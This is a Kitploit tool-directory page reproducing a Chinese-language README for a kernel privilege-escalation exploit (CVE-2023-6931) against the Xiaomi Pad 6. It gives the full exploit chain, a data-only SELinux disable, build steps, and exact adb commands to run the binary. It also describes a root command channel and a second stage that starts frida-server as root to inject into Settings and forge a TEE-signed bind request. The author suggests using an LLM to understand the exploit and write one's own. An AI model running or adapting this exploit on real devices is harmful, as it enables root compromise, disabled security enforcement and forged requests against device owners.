Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2023-6931-pipa — Kernel LPE exploit for CVE-2023-6931 on Xiaomi Pad 6 (pipa), chaining a perf read_size overflow to root and disabling SELinux via data-only netlink_sock sk_destruct corruption. | Kitploit
Tools/GitHubGitHub/yutori-natsu/cve-2023-6931-pipa
Android SecurityPrivilege EscalationMemory ForensicsExploitationReverse EngineeringPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubyutori-natsu/cve-2023-6931-pipa

cve-2023-6931-pipa

Kernel LPE exploit for CVE-2023-6931 on Xiaomi Pad 6 (pipa), chaining a perf read_size overflow to root and disabling SELinux via data-only netlink_sock sk_destruct corruption.

View Repository
1 day agoNot yet reviewed

CVE-2023-6931 — Xiaomi Pad 6(pipa)提权与关 SELinux

最终在设备上使用的那一版 exploit,单独整理在此目录。

目标

root@kitploit:~
设备      Xiaomi Pad 6 / pipa / SM8250
系统      HyperOS OS2.0.20.0.UMZCNXM
内核      4.19.157-perf-g240e1d0a5f52
起点      adb shell(shell 域)
结果      一次性 uid0 + 全局 SELinux permissive(重启失效)

利用链

见 exploit.c 文件头,摘要如下。

root@kitploit:~
1) perf group read_size overflow                -> 越界 u64 自增原语
2) 自增 victim netlink_sock->sk_destruct        -> netlink_sock_destruct_work(+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
   -> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
   -> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) 栈迁移到 fake 内的 skb 载荷(pt_regs1 @ +960,pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root

关 SELinux 走纯数据改写:fake+0x248 指向 selinux_state,__sk_destruct 的 atomic_dec 把该字最低位段里的 enforcing 从 1 减成 0。

目录内容

构建

root@kitploit:~
./build.sh                 # 输出到本目录 exploit
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit

在设备上运行

驱动脚本 .project/scripts/drive_selinux_off.sh 使用的命令行:

root@kitploit:~
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'

adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
  --selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
  > /data/local/tmp/run.out 2>&1 < /dev/null &'

参数含义:

root@kitploit:~
--selinux-off        关 SELinux(纯数据改写路径),同时带 cred 伪造
--layout-interleave  分配序列交错排布,让 OOB 自增落在目标对象的 sk_destruct 上
--tsec-sid 1         伪造 cred 的安全上下文 sid/osid(取不到真实域 sid 时用 1)
--alarm-us 5000000   自唤醒 ITIMER_REAL,卡住的尝试 5 秒后退出

运行前提与限制:

  • shell 域可达 perf_event 与 netlink_route,应用域不行,所以必须从 adb shell 起;
  • 每创建 8446 个 sibling 事件要吃满 perf_event_mlock_kb = 516,同一个 boot 里不要重复运行,上次实例不退出就不会释放事件,重跑只会建到 4000 到 6000 个;
  • 需要时用 kill -9 清掉旧实例再重来,否则按每次开机一次有效尝试计;
  • 成功后进程停留在 pause(),root 与 permissive 仅对本次启动有效。
  • 同框架还有把第一/第二帧换成 dload 写的变体(--edl、--edl2),用于从 root 窗口确定性进入 EDL,本目录只收录最终使用的那一版。

两阶段与衔接

这个目录只放第一阶段。整条链实际上是两段,衔接点是第一阶段留下的 root 命令通道。

root@kitploit:~
第一阶段  exploit_selinux8            内核提权 + 关 SELinux,然后停在 root 命令通道
            产物:uid0 + permissive,通道 = FIFO /data/local/tmp/root_in|root_out
                  (另有抽象 unix socket rootshell / rootshell2,以及 --root-client PORT 模式)
第二阶段  stage2-frida/               通过上面那条通道以 root 起 frida-server,注入 Settings
            产物:应用进程内构造并发出的绑定请求(TEE 签名)

第一阶段结束时会把 ROOTSHELL_OK 写进 /data/local/tmp/root_proof.txt 作为可执行命令的凭据。之后宿主机的任何 root 动作都是往 FIFO 里写一行命令,例如第二阶段启动 frida-server 的那一条:

root@kitploit:~
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
  setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
  </dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"

runcon u:r:shell:s0 不能省:SELinux 关掉之后 frida-server 若跑在 kernel 域,拿不到 Android Context,PackageManager 会 NPE。

stage2-frida/

外部依赖(未随本目录附带):frida-server 16.7.19(54 MB,放在 .project/tools/ext/frida/fs16,sha256 前缀 4eebf1fbc66ff54aba9a9124)与对应 python 客户端(.project/tools/ext/fridavenv16,frida 16.7.19)。用 16.x 而不是 17.x,是因为 17 的 agent 里没有 Java bridge。

完整调用链由 .project/scripts/drive_selinux_off.sh 编排:命中 root 窗口后第一个动作就是 bash .project/scripts/exp_forge_send.sh,拿到 code 0 即停止循环。

复现性说明

exploit_selinux8 是交付原件,校验和见 SHA256SUMS。用本目录源码重建得到的是另一个二进制:

root@kitploit:~
本目录源码重建       1,853,744 B   f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
原始源码重建         1,853,752 B   96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
实际运行的那份       1,853,720 B   279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a

差异已经逐符号定位,来源只有一处:命令行参数表里多了两个模式。

root@kitploit:~
--edl     帧2 调 __qcom_scm_set_dload_mode(dev, 1)
--edl2    帧2 直接写 dload cookie

也就是说,交付的那份是加 EDL 模式之前编出来的版本,当前源码是加过之后的(.project/work/exploit_edl1、exploit_edl2 由它编成)。EDL 分支只在传 --edl 或 --edl2 时生效,edl_mode 默认 0,payload 构造里唯一相关的一行是 edl_mode ? 1ULL : rt(OFF_INIT_CRED),所以用最终那条 --selinux-off 命令行时两者行为一致。差异属于功能增量,不是修复或行为改变,二进制按原件附带,源码保留完整版。

注释清理

用 .project/tools/strip_dev_comments.py 处理,删除 124 个开发过程注释块(版本迭代标记如 v96、v127,以及中文调试口吻如"旧值/实测/重跑/跳过"),保留 313 处结构性注释。预处理结果对比只差空行,代码 token 完全一致。运行日志里仍带有 vNNN: 前缀的打印文本,因为它们属于程序输出而非注释。

my words

idk fr what files are really needed, if you want to you might very need a LLM to understand the whole exp and write yours.

Download Tool
文件说明
exploit.c源码。已去掉开发过程注释,保留文件头链说明、偏移表、结构体布局等结构性注释
text_syms.h从设备 kallsyms 转储生成的 .text 符号表,编译必需
ro_syms.h同上,只读数据符号表,编译必需
exploit_selinux8实际在设备上运行的二进制,与驱动脚本使用的那份一致
build.sh构建脚本
SHA256SUMS上述文件的校验和
文件说明
exp_forge_send.sh推送并启动 frida-server 16.7.19、确保 Settings 在运行、取 pid、跑 agent
frida_run.pyfrida 客户端封装,支持 FRIDA_PID 直连与 FRIDA_SPAWN 自启(绕开 am/pm)
forge_send.js在 Settings 进程内复制 getNonce、按旧字段集合签 applyBind 并发出
比对项结果
函数大小不同的符号只有 main(shipped 17,744 B,重建 18,004 B,差 260 B ≈ 65 条指令)
其余 1,503 个函数大小完全一致,无增减
只在重建里出现的符号edl_mode 一个
命令行参数表shipped 85 个,重建 87 个,多出的正是 --edl 与 --edl2
整段 .text 指令数126,533 与 126,597,差 64 条,与 main 的差别相符